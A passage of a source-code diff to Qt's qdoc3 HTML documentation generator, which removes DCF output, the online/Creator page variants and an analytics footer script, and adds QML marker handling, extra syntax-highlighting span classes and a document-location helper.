out() << "<a name=\"" << Doc::canonicalTitle(atom->string()) << "\"></a>";
@@ -1218,6 +1136,9 @@ int HtmlGenerator::generateAtom(const Atom *atom,
out() << "<b class=\"redFont\"><code>\\" << protectEnc(atom->string())
<< "</code></b>";
break;
+ case Atom::EndDiv:
+ out() << "</div>";
+ break;
#ifdef QDOC_QML
case Atom::QmlText:
case Atom::EndQmlText:
@@ -1258,11 +1179,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner,
title = rawTitle + " Class Reference";
}
- DcfSection classSection;
- classSection.title = title;
- classSection.ref = linkForNode(inner, 0);
- classSection.keywords += qMakePair(inner->name(), classSection.ref);
-
Text subtitleText;
if (rawTitle != fullTitle)
subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")"
@@ -1425,8 +1341,6 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner,
names << plainCode(marker->markedUpEnumValue(enumName,
enume));
}
- foreach (const QString &name, names)
- classSection.keywords += qMakePair(name,linkForNode(*m,0));
}
++m;
}
@@ -1435,39 +1349,15 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner,
++s;
}
generateFooter(inner);
-
- if (!membersLink.isEmpty()) {
- DcfSection membersSection;
- membersSection.title = "List of all members";
- membersSection.ref = membersLink;
- appendDcfSubSection(&classSection, membersSection);
- }
- if (!obsoleteLink.isEmpty()) {
- DcfSection obsoleteSection;
- obsoleteSection.title = "Obsolete members";
- obsoleteSection.ref = obsoleteLink;
- appendDcfSubSection(&classSection, obsoleteSection);
- }
- if (!compatLink.isEmpty()) {
- DcfSection compatSection;
- compatSection.title = "Qt 3 support members";
- compatSection.ref = compatLink;
- appendDcfSubSection(&classSection, compatSection);
- }
-
- appendDcfSubSection(&dcfClassesRoot, classSection);
}
/*!
- Generate the html page for a qdoc file that doesn't map
- to an underlying c++ file.
+ Generate the HTML page for a qdoc file that doesn't map
+ to an underlying C++ file.
*/
void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
{
SubTitleSize subTitleSize = LargeSubTitle;
- DcfSection fakeSection;
- fakeSection.title = fake->fullTitle();
- fakeSection.ref = linkForNode(fake, 0);
QList<Section> sections;
QList<Section>::const_iterator s;
@@ -1481,6 +1371,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
else if (fake->subType() == Node::QmlBasicType) {
fullTitle = "QML Basic Type: " + fullTitle;
htmlTitle = fullTitle;
+
+ // Replace the marker with a QML code marker.
+ marker = CodeMarker::markerForLanguage(QLatin1String("QML"));
}
generateHeader(htmlTitle, fake, marker);
@@ -1494,6 +1387,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
qml_cn = static_cast<const QmlClassNode*>(fake);
sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0);
generateTableOfContents(fake,marker,&sections);
+
+ // Replace the marker with a QML code marker.
+ marker = CodeMarker::markerForLanguage(QLatin1String("QML"));
}
else if (fake->name() != QString("index.html"))
generateTableOfContents(fake,marker,0);
@@ -1547,25 +1443,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
<< "Qt 3 support members</a></li>\n";
out() << "</ul>\n";
-
- if (!membersLink.isEmpty()) {
- DcfSection membersSection;
- membersSection.title = "List of all members";
- membersSection.ref = membersLink;
- appendDcfSubSection(&fakeSection, membersSection);
- }
- if (!obsoleteLink.isEmpty()) {
- DcfSection obsoleteSection;
- obsoleteSection.title = "Obsolete members";
- obsoleteSection.ref = obsoleteLink;
- appendDcfSubSection(&fakeSection, obsoleteSection);
- }
- if (!compatLink.isEmpty()) {
- DcfSection compatSection;
- compatSection.title = "Qt 3 support members";
- compatSection.ref = compatLink;
- appendDcfSubSection(&fakeSection, compatSection);
- }
}
#ifdef QDOC_QML
else if (fake->subType() == Node::QmlClass) {
@@ -1608,8 +1485,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
while (m != (*s).members.end()) {
generateDetailedQmlMember(*m, fake, marker);
out() << "<br/>\n";
- fakeSection.keywords += qMakePair((*m)->name(),
- linkForNode(*m,0));
++m;
}
++s;
@@ -1618,7 +1493,7 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
return;
}
#endif
-
+
sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay);
s = sections.begin();
while (s != sections.end()) {
@@ -1654,8 +1529,6 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
generateAnnotatedList(fake, marker, groupMembersMap);
}
- fakeSection.keywords += qMakePair(fakeSection.title, fakeSection.ref);
-
sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay);
s = sections.begin();
while (s != sections.end()) {
@@ -1665,35 +1538,11 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
NodeList::ConstIterator m = (*s).members.begin();
while (m != (*s).members.end()) {
generateDetailedMember(*m, fake, marker);
- fakeSection.keywords += qMakePair((*m)->name(), linkForNode(*m, 0));
++m;
}
++s;
}
generateFooter(fake);
-
- if (fake->subType() == Node::Example) {
- appendDcfSubSection(&dcfExamplesRoot, fakeSection);
- }
- else if (fake->subType() != Node::File) {
- QString contentsPage = fake->links().value(Node::ContentsLink).first;
-
- if (contentsPage == "Qt Designer Manual") {
- appendDcfSubSection(&dcfDesignerRoot, fakeSection);
- }
- else if (contentsPage == "Qt Linguist Manual") {
- appendDcfSubSection(&dcfLinguistRoot, fakeSection);
- }
- else if (contentsPage == "Qt Assistant Manual") {
- appendDcfSubSection(&dcfAssistantRoot, fakeSection);
- }
- else if (contentsPage == "qmake Manual") {
- appendDcfSubSection(&dcfQmakeRoot, fakeSection);
- }
- else {
- appendDcfSubSection(&dcfOverviewsRoot, fakeSection);
- }
- }
}
/*!
@@ -1787,94 +1636,35 @@ void HtmlGenerator::generateHeader(const QString& title,
out() << QString("<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"%1\" lang=\"%1\">\n").arg(naturalLanguage);
out() << "<head>\n";
out() << " <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n";
- QString shortVersion;
- shortVersion = project + " " + shortVersion + ": ";
if (node && !node->doc().location().isEmpty())
out() << "<!-- " << node->doc().location().fileName() << " -->\n";
- shortVersion = myTree->version();
+ QString shortVersion = myTree->version();
if (shortVersion.count(QChar('.')) == 2)
shortVersion.truncate(shortVersion.lastIndexOf(QChar('.')));
- if (!shortVersion.isEmpty()) {
- if (project == "QSA")
- shortVersion = "QSA " + shortVersion + ": ";
- else
- shortVersion = "Qt " + shortVersion + ": ";
- }
+ if (!project.isEmpty())
+ shortVersion = project + QLatin1String(" ") + shortVersion + QLatin1String(": ");
+ else
+ shortVersion = QLatin1String("Qt ") + shortVersion + QLatin1String(": ");
// Generating page title
out() << " <title>" << shortVersion << protectEnc(title) << "</title>\n";
- // Adding style sheet
- out() << " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/style.css\" />\n";
- // Adding jquery and functions - providing online tools and search features
- out() << " <script src=\"scripts/jquery.js\" type=\"text/javascript\"></script>\n";
- out() << " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n";
-
-
- // Adding syntax highlighter // future release
-
- // Setting some additional style sheet related details depending on configuration (e.g. Online/Creator)
-
- switch (application) {
- case Online:
- // Adding style and js for small windows
- out() << " <script src=\"./scripts/superfish.js\" type=\"text/javascript\"></script>\n";
- out() << " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/superfish.css\" />";
- out() << " <script src=\"./scripts/narrow.js\" type=\"text/javascript\"></script>\n";
- out() << " <link rel=\"stylesheet\" type=\"text/css\" href=\"style/narrow.css\" />\n";
- // Browser spec styles
- out() << " <!--[if IE]>\n";
- out() << "<meta name=\"MSSmartTagsPreventParsing\" content=\"true\">\n";
- out() << "<meta http-equiv=\"imagetoolbar\" content=\"no\">\n";
- out() << "<![endif]-->\n";
- out() << "<!--[if lt IE 7]>\n";
- out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie6.css\">\n";
- out() << "<![endif]-->\n";
- out() << "<!--[if IE 7]>\n";
- out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie7.css\">\n";
- out() << "<![endif]-->\n";
- out() << "<!--[if IE 8]>\n";
- out() << "<link rel=\"stylesheet\" type=\"text/css\" href=\"style/style_ie8.css\">\n";
- out() << "<![endif]-->\n";
-
- out() << "</head>\n";
- // CheckEmptyAndLoadList activating search
- out() << "<body class=\"\" onload=\"CheckEmptyAndLoadList();\">\n";
- break;
- case Creator:
- out() << "</head>\n";
- out() << "<body class=\"offline narrow creator\">\n"; // offline narrow
- break;
- default:
- out() << "</head>\n";
- out() << "<body>\n";
- break;
- }
+
+ // Include style sheet and script links.
+ out() << headerStyles;
+ out() << headerScripts;
+ out() << endHeader;
#ifdef GENERATE_MAC_REFS
if (mainPage)
generateMacRef(node, marker);
#endif
- switch (application) {
- case Online:
- out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- generateBreadCrumbs(title,node,marker);
- out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- break;
- case Creator:
- out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- generateBreadCrumbs(title,node,marker);
- out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- break;
- default: // default -- not used except if one forgets to set any of the above settings to true
- out() << QString(creatorPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- generateBreadCrumbs(title,node,marker);
- out() << QString(creatorPostPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- break;
- }
+ out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version());
+ generateBreadCrumbs(title,node,marker);
+ out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version());
- navigationLinks.clear();
+ navigationLinks.clear();
if (node && !node->links().empty()) {
QPair<QString,QString> linkPair;
@@ -1960,30 +1750,8 @@ void HtmlGenerator::generateFooter(const Node *node)
out() << QString(footer).replace("\\" + COMMAND_VERSION, myTree->version())
<< QString(address).replace("\\" + COMMAND_VERSION, myTree->version());
- switch (application) {
- case Online:
- out() << " <script src=\"scripts/functions.js\" type=\"text/javascript\"></script>\n";
- out() << " <script type=\"text/javascript\">\n";
- out() << " var _gaq = _gaq || [];\n";
- out() << " _gaq.push(['_setAccount', 'UA-4457116-5']);\n";
- out() << " _gaq.push(['_trackPageview']);\n";
- out() << " (function() {\n";
- out() << " var ga = document.createElement('script'); ";
- out() << "ga.type = 'text/javascript'; ga.async = true;\n";
- out() << " ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + ";
- out() << "'.google-analytics.com/ga.js';\n";
- out() << " var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n";
- out() << " })();\n";
- out() << " </script>\n";
- out() << "</body>\n";
- break;
- case Creator:
- out() << "</body>\n";
- break;
- default:
- out() << "</body>\n";
- }
- out() << "</html>\n";
+ out() << "</body>\n";
+ out() << "</html>\n";
}
void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker,
@@ -2009,7 +1777,7 @@ void HtmlGenerator::generateBrief(const Node *node, CodeMarker *marker,
void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker)
{
if (!inner->includes().isEmpty()) {
- out() << "<pre class=\"highlightedCode brush: cpp\">"
+ out() << "<pre class=\"cpp\">"
<< trimmedTrailing(highlightedCode(indent(codeIndent,
marker->markedUpIncludes(inner->includes())),
marker,inner))
@@ -2018,91 +1786,6 @@ void HtmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker)
}
/*!
- Generates a table of contents beginning at \a node.
- */
-void HtmlGenerator::generateTableOfContents(const Node *node,
- CodeMarker *marker,
- Doc::SectioningUnit sectioningUnit,
- int numColumns,
- const Node *relative)
-
-{
- return;
- if (!node->doc().hasTableOfContents())
- return;
- QList<Atom *> toc = node->doc().tableOfContents();
- if (toc.isEmpty())
- return;
-
- QString nodeName = "";
- if (node != relative)
- nodeName = node->name();
-
- QStringList sectionNumber;
- int columnSize = 0;
-
- QString tdTag;
- if (numColumns > 1) {
- tdTag = "<td>"; /* width=\"" + QString::number((100 + numColumns - 1) / numColumns) + "%\">";*/
- out() << "<table class=\"toc\">\n<tr class=\"topAlign\">"
- << tdTag << "\n";
- }
-
- // disable nested links in table of contents
- inContents = true;
- inLink = true;
-
- for (int i = 0; i < toc.size(); ++i) {
- Atom *atom = toc.at(i);
-
- int nextLevel = atom->string().toInt();
- if (nextLevel > (int)sectioningUnit)
- continue;
-
- if (sectionNumber.size() < nextLevel) {
- do {
- out() << "<ul>";
- sectionNumber.append("1");
- } while (sectionNumber.size() < nextLevel);
- }
- else {
- while (sectionNumber.size() > nextLevel) {
- out() << "</ul>\n";
- sectionNumber.removeLast();
- }
- sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1);
- }
- int numAtoms;
- Text headingText = Text::sectionHeading(atom);
-
- if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) {
- out() << "</ul></td>" << tdTag << "<ul>\n";
- columnSize = 0;
- }
- out() << "<li>";
- out() << "<a href=\""
- << nodeName
- << "#"
- << Doc::canonicalTitle(headingText.toString())
- << "\">";
- generateAtomList(headingText.firstAtom(), node, marker, true, numAtoms);
- out() << "</a></li>\n";
-
- ++columnSize;
- }
- while (!sectionNumber.isEmpty()) {
- out() << "</ul>\n";
- sectionNumber.removeLast();
- }
-
- if (numColumns > 1)
- out() << "</td></tr></table>\n";
-
- inContents = false;
- inLink = false;
-}
-
-/*!
Revised for the new doc format.
Generates a table of contents beginning at \a node.
*/
@@ -2219,39 +1902,6 @@ void HtmlGenerator::generateTableOfContents(const Node *node,
inLink = false;
}
-#if 0
-void HtmlGenerator::generateNavigationBar(const NavigationBar& bar,
- const Node *node,
- CodeMarker *marker)
-{
- if (bar.prev.begin() != 0 || bar.current.begin() != 0 ||
- bar.next.begin() != 0) {
- out() << "<p class=\"rightAlign\">";
- if (bar.prev.begin() != 0) {
-#if 0
- out() << "[<a href=\"" << section.previousBaseName()
- << ".html\">Prev: ";
- generateText(section.previousHeading(), node, marker);
- out() << "</a>]\n";
-#endif
- }
- if (fake->name() != QString("index.html")) {
- if (bar.current.begin() != 0) {
- out() << "[<a href=\"" << "home"
- << ".html\">Home</a>]\n";
- }
- if (bar.next.begin() != 0) {
- out() << "[<a href=\"" << fileBase(node, bar.next)
- << ".html\">Next: ";
- generateText(Text::sectionHeading(bar.next.begin()), node, marker);
- out() << "</a>]\n";
- }
- out() << "</p>\n";
- }
- }
-}
-#endif
-
QString HtmlGenerator::generateListOfAllMemberFile(const InnerNode *inner,
CodeMarker *marker)
{
@@ -2421,7 +2071,7 @@ void HtmlGenerator::generateClassHierarchy(const Node *relative,
NodeMap newTop;
foreach (const RelatedClass &d, child->derivedClasses()) {
- if (d.access != Node::Private)
+ if (d.access != Node::Private && !d.node->doc().isEmpty())
newTop.insert(d.node->name(), d.node);
}
if (!newTop.isEmpty()) {
@@ -3111,8 +2761,8 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
// replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)"
bool done = false;
for (int i = 0, srcSize = src.size(); i < srcSize;) {
- if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
- if (alignNames && !done) {// && (i != 0)) Why was this here?
+ if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+ if (alignNames && !done) {
html += "</td><td class=\"memItemRight bottomAlign\">";
done = true;
}
@@ -3135,31 +2785,28 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
}
- if (slow) {
- // is this block ever used at all?
- // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)"
- src = html;
- html = QString();
- for (int i = 0, srcSize = src.size(); i < srcSize;) {
- if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
- i += 2;
- if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
- const Node* n = marker->resolveTarget(par1.toString(),
- myTree,
- relative);
- QString link = linkForNode(n, relative);
- addLink(link, arg, &html);
- par1 = QStringRef();
- }
- else {
- html += charLangle;
- html += charAt;
- }
+ // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)"
+ src = html;
+ html = QString();
+ for (int i = 0, srcSize = src.size(); i < srcSize;) {
+ if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+ i += 2;
+ if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
+ const Node* n = marker->resolveTarget(par1.toString(),
+ myTree,
+ relative);
+ QString link = linkForNode(n, relative);
+ addLink(link, arg, &html);
+ par1 = QStringRef();
}
else {
- html += src.at(i++);
+ html += charLangle;
+ html += charAt;
}
}
+ else {
+ html += src.at(i++);
+ }
}
// replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags
@@ -3173,6 +2820,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
if (parseArg(src, typeTag, &i, srcSize, &arg, &par1)) {
par1 = QStringRef();
const Node* n = marker->resolveTarget(arg.toString(), myTree, relative, self);
+ html += QLatin1String("<span class=\"type\">");
if (n && n->subType() == Node::QmlBasicType) {
if (relative && relative->subType() == Node::QmlClass)
addLink(linkForNode(n,relative), arg, &html);
@@ -3181,6 +2829,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
}
else
addLink(linkForNode(n,relative), arg, &html);
+ html += QLatin1String("</span>");
handled = true;
}
else if (parseArg(src, headerTag, &i, srcSize, &arg, &par1)) {
@@ -3211,23 +2860,40 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
// "<@preprocessor>" -> "<span class=\"preprocessor\">";
// "<@string>" -> "<span class=\"string\">";
// "<@char>" -> "<span class=\"char\">";
- // "</@(?:comment|preprocessor|string|char)>" -> "</span>"
+ // "<@number>" -> "<span class=\"number\">";
+ // "<@op>" -> "<span class=\"operator\">";
+ // "<@type>" -> "<span class=\"type\">";
+ // "<@name>" -> "<span class=\"name\">";
+ // "<@keyword>" -> "<span class=\"keyword\">";
+ // "</@(?:comment|preprocessor|string|char|number|op|type|name|keyword)>" -> "</span>"
src = html;
html = QString();
static const QString spanTags[] = {
- "<@comment>", "<span class=\"comment\">",
- "<@preprocessor>", "<span class=\"preprocessor\">",
- "<@string>", "<span class=\"string\">",
- "<@char>", "<span class=\"char\">",
- "</@comment>", "</span>",
- "</@preprocessor>","</span>",
- "</@string>", "</span>",
- "</@char>", "</span>"
+ "<@comment>", "<span class=\"comment\">",
+ "<@preprocessor>", "<span class=\"preprocessor\">",
+ "<@string>", "<span class=\"string\">",
+ "<@char>", "<span class=\"char\">",
+ "<@number>", "<span class=\"number\">",
+ "<@op>", "<span class=\"operator\">",
+ "<@type>", "<span class=\"type\">",
+ "<@name>", "<span class=\"name\">",
+ "<@keyword>", "<span class=\"keyword\">",
+ "</@comment>", "</span>",
+ "</@preprocessor>", "</span>",
+ "</@string>", "</span>",
+ "</@char>", "</span>",
+ "</@number>", "</span>",
+ "</@op>", "</span>",
+ "</@type>", "</span>",
+ "</@name>", "</span>",
+ "</@keyword>", "</span>",
};
+ // Update the upper bound of k in the following code to match the length
+ // of the above array.
for (int i = 0, n = src.size(); i < n;) {
if (src.at(i) == charLangle) {
bool handled = false;
- for (int k = 0; k != 8; ++k) {
+ for (int k = 0; k != 18; ++k) {
const QString & tag = spanTags[2 * k];
if (tag == QStringRef(&src, i, tag.length())) {
html += spanTags[2 * k + 1];
@@ -3278,18 +2944,6 @@ void HtmlGenerator::generateLink(const Atom* atom,
}
inLink = false;
out() << protectEnc(atom->string().mid(k));
- } else if (marker->recognizeLanguage("Java")) {
- // hack for Java: remove () and use <tt> when appropriate
- bool func = atom->string().endsWith("()");
- bool tt = (func || atom->string().contains(camelCase));
- if (tt)
- out() << "<tt>";
- if (func) {
- out() << protectEnc(atom->string().left(atom->string().length() - 2));
- } else {
- out() << protectEnc(atom->string());
- }
- out() << "</tt>";
} else {
out() << protectEnc(atom->string());
}
@@ -3434,29 +3088,6 @@ QString HtmlGenerator::fileBase(const Node *node) const
return result;
}
-#if 0
-QString HtmlGenerator::fileBase(const Node *node,
- const SectionIterator& section)
-{
- QStringList::ConstIterator s = section.sectionNumber().end();
- QStringList::ConstIterator b = section.baseNameStack().end();
-
- QString suffix;
- QString base = fileBase(node);
-
- while (s != section.sectionNumber().begin()) {
- --s;
- --b;
- if (!(*b).isEmpty()) {
- base = *b;
- break;
- }
- suffix.prepend("-" + *s);
- }
- return base + suffix;
-}
-#endif
-
QString HtmlGenerator::fileName(const Node *node)
{
if (node->type() == Node::Fake) {
@@ -3544,15 +3175,9 @@ QString HtmlGenerator::linkForNode(const Node *node, const Node *relative)
return QString();
fn = fileName(node);
-#if 0
- if (!node->url().isEmpty())
- return fn;
-#endif
+/* if (!node->url().isEmpty())
+ return fn;*/
-#if 0
- // ### reintroduce this test, without breaking .dcf files
- if (fn != outFileName())
-#endif
link += fn;
if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) {
@@ -3811,6 +3436,7 @@ void HtmlGenerator::findAllFunctions(const InnerNode *node)
else if ((*c)->type() == Node::Function) {
const FunctionNode *func = static_cast<const FunctionNode *>(*c);
if ((func->status() > Node::Obsolete) &&
+ !func->isInternal() &&
(func->metaness() != FunctionNode::Ctor) &&
(func->metaness() != FunctionNode::Dtor)) {
funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c);
@@ -4016,14 +3642,6 @@ QString HtmlGenerator::getLink(const Atom *atom,
<< (*node)->name() << "no relative";
}
}
-#if 0
- else if ((*node)->status() == Node::Deprecated) {
- qDebug() << "Link to Deprecated entity";
- }
- else if ((*node)->status() == Node::Internal) {
- qDebug() << "Link to Internal entity";
- }
-#endif
}
while (!path.isEmpty()) {
@@ -4044,16 +3662,6 @@ QString HtmlGenerator::getLink(const Atom *atom,
return link;
}
-void HtmlGenerator::generateDcf(const QString &fileBase,
- const QString &startPage,
- const QString &title,
- DcfSection &dcfRoot)
-{
- dcfRoot.ref = startPage;
- dcfRoot.title = title;
- generateDcfSections(dcfRoot, outputDir() + "/" + fileBase + ".dcf", fileBase + "/reference");
-}
-
void HtmlGenerator::generateIndex(const QString &fileBase,
const QString &url,
const QString &title)
@@ -4580,12 +4188,14 @@ void HtmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* n
/*!
Outputs the file containing the index used for searching the html docs.
*/
-void HtmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const
+void HtmlGenerator::generatePageIndex(const QString& fileName) const
{
QFile file(fileName);
if (!file.open(QFile::WriteOnly | QFile::Text))
return ;
+ CodeMarker *marker = CodeMarker::markerForFileName(fileName);
+
QXmlStreamWriter writer(&file);
writer.setAutoFormatting(true);
writer.writeStartDocument();
@@ -4636,6 +4246,151 @@ void HtmlGenerator::generateExtractionMark(const Node *node, ExtractionMarkType
}
}
+/*!
+ Returns the full document location for HTML-based documentation.
+ */
+QString HtmlGenerator::fullDocumentLocation(const Node *node)
+{
+ if (!node)
+ return "";
+ if (!node->url().isEmpty())
+ return node->url();
+
+ QString parentName;
+ QString anchorRef;
+
+ if (node->type() == Node::Namespace) {
+
+ // The root namespace has no name - check for this before creating
+ // an attribute containing the location of any documentation.
+
+ if (!node->fileBase().isEmpty())
+ parentName = node->fileBase() + ".html";
+ else
+ return "";
+ }
+ else if (node->type() == Node::Fake) {
+#ifdef QDOC_QML
+ if ((node->subType() == Node::QmlClass) ||
+ (node->subType() == Node::QmlBasicType)) {
+ QString fb = node->fileBase();
+ if (fb.startsWith(Generator::outputPrefix(QLatin1String("QML"))))
+ return fb + ".html";
+ else
+ return Generator::outputPrefix(QLatin1String("QML")) + node->fileBase() + QLatin1String(".html");
+ } else
+#endif
+ parentName = node->fileBase() + ".html";
+ }
+ else if (node->fileBase().isEmpty())
+ return "";
+
+ Node *parentNode = 0;
+
+ if ((parentNode = node->relates()))
+ parentName = fullDocumentLocation(node->relates());
+ else if ((parentNode = node->parent())) {
+ if (parentNode->subType() == Node::QmlPropertyGroup) {
+ parentNode = parentNode->parent();
+ parentName = fullDocumentLocation(parentNode);
+ }
+ else
+ parentName = fullDocumentLocation(node->parent());
+ }
+
+ switch (node->type()) {
+ case Node::Class:
+ case Node::Namespace:
+ if (parentNode && !parentNode->name().isEmpty())
+ parentName = parentName.replace(".html", "") + "-"
+ + node->fileBase().toLower() + ".html";
+ else
+ parentName = node->fileBase() + ".html";
+ break;
+ case Node::Function:
+ {
+ /*
+ Functions can be destructors, overloaded, or
+ have associated properties.
+ */
+ const FunctionNode *functionNode =
+ static_cast<const FunctionNode *>(node);
+
+ if (functionNode->metaness() == FunctionNode::Dtor)
+ anchorRef = "#dtor." + functionNode->name().mid(1);
+
+ else if (functionNode->associatedProperty())
+ return fullDocumentLocation(functionNode->associatedProperty());
+
+ else if (functionNode->overloadNumber() > 1)
+ anchorRef = "#" + functionNode->name()
+ + "-" + QString::number(functionNode->overloadNumber());
+ else
+ anchorRef = "#" + functionNode->name();
+ }
+
+ /*
+ Use node->name() instead of node->fileBase() as
+ the latter returns the name in lower-case. For
+ HTML anchors, we need to preserve the case.
+ */
+ break;
+ case Node::Enum:
+ anchorRef = "#" + node->name() + "-enum";
+ break;
+ case Node::Typedef:
+ anchorRef = "#" + node->name() + "-typedef";
+ break;
+ case Node::Property:
+ anchorRef = "#" + node->name() + "-prop";
+ break;
+ case Node::QmlProperty:
+ anchorRef = "#" + node->name() + "-prop";
+ break;
+ case Node::QmlSignal:
+ anchorRef = "#" + node->name() + "-signal";
+ break;
+ case Node::QmlMethod:
+ anchorRef = "#" + node->name() + "-method";
+ break;
+ case Node::Variable:
+ anchorRef = "#" + node->name() + "-var";
+ break;
+ case Node::Target:
+ anchorRef = "#" + Doc::canonicalTitle(node->name());
+ break;
+ case Node::Fake:
+ {
+ /*
+ Use node->fileBase() for fake nodes because they are represented
+ by pages whose file names are lower-case.
+ */
+ parentName = node->fileBase();
+ parentName.replace("/", "-").replace(".", "-");
+ parentName += ".html";
+ }
+ break;
+ default:
+ break;
+ }
+
+ // Various objects can be compat (deprecated) or obsolete.
+ if (node->type() != Node::Class && node->type() != Node::Namespace) {
+ switch (node->status()) {
+ case Node::Compat:
+ parentName.replace(".html", "-qt3.html");
+ break;
+ case Node::Obsolete:
+ parentName.replace(".html", "-obsolete.html");
+ break;
+ default:
+ ;
+ }
+ }
+
+ return parentName.toLower() + anchorRef;
+}
+
#endif
- QT_END_NAMESPACE
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h
index 402538f..eed96e7 100644
--- a/tools/qdoc3/htmlgenerator.h
+++ b/tools/qdoc3/htmlgenerator.h
@@ -52,20 +52,10 @@
#include "codemarker.h"
#include "config.h"
-#include "dcfsection.h"
#include "pagegenerator.h"
QT_BEGIN_NAMESPACE
-#if 0
-struct NavigationBar
-{
- SectionIterator prev;
- SectionIterator current;
- SectionIterator next;
-};
-#endif
-
typedef QMultiMap<QString, Node*> NodeMultiMap;
typedef QMap<QString, NodeMultiMap> NewSinceMaps;
typedef QMap<Node*, NodeMultiMap> ParentMaps;
@@ -95,10 +85,6 @@ class HtmlGenerator : public PageGenerator
LastSinceType
};
- enum Application {
- Online,
- Creator};
-
public:
HtmlGenerator();
~HtmlGenerator();
@@ -106,12 +92,13 @@ class HtmlGenerator : public PageGenerator
virtual void initializeGenerator(const Config& config);
virtual void terminateGenerator();
virtual QString format();
- virtual void generateTree(const Tree *tree, CodeMarker *marker);
+ virtual void generateTree(const Tree *tree);
QString protectEnc(const QString &string);
static QString protect(const QString &string, const QString &encoding = "ISO-8859-1");
static QString cleanRef(const QString& ref);
static QString sinceTitle(int i) { return sinceTitles[i]; }
+ static QString fullDocumentLocation(const Node *node);
protected:
virtual void startText(const Node *relative, CodeMarker *marker);
@@ -155,16 +142,6 @@ class HtmlGenerator : public PageGenerator
CodeMarker *marker,
const Node *relative = 0);
void generateIncludes(const InnerNode *inner, CodeMarker *marker);
-#if 0
- void generateNavigationBar(const NavigationBar& bar,
- const Node *node,
- CodeMarker *marker);
-#endif
- void generateTableOfContents(const Node *node,
- CodeMarker *marker,
- Doc::SectioningUnit sectioningUnit,
- int numColumns,
- const Node *relative = 0);
void generateTableOfContents(const Node *node,
CodeMarker *marker,
QList<Section>* sections = 0);
@@ -242,9 +219,6 @@ class HtmlGenerator : public PageGenerator
QString registerRef(const QString& ref);
virtual QString fileBase(const Node *node) const;
-#if 0
- QString fileBase(const Node *node, const SectionIterator& section);
-#endif
QString fileName(const Node *node);
void findAllClasses(const InnerNode *node);
void findAllFunctions(const InnerNode *node);
@@ -257,9 +231,6 @@ class HtmlGenerator : public PageGenerator
const Node *relative,
CodeMarker *marker,
const Node** node);
- virtual void generateDcf(const QString &fileBase,
- const QString &startPage,
- const QString &title, DcfSection &dcfRoot);
virtual void generateIndex(const QString &fileBase,
const QString &url,
const QString &title);
@@ -277,22 +248,11 @@ class HtmlGenerator : public PageGenerator
void generatePageElements(QXmlStreamWriter& writer,
const Node* node,
CodeMarker* marker) const;
- void generatePageIndex(const QString& fileName,
- CodeMarker* marker) const;
+ void generatePageIndex(const QString& fileName) const;
void generateExtractionMark(const Node *node, ExtractionMarkType markType);
-#if 0
- NavigationBar currentNavigationBar;
-#endif
QMap<QString, QString> refMap;
int codeIndent;
- DcfSection dcfClassesRoot;
- DcfSection dcfOverviewsRoot;
- DcfSection dcfExamplesRoot;
- DcfSection dcfDesignerRoot;
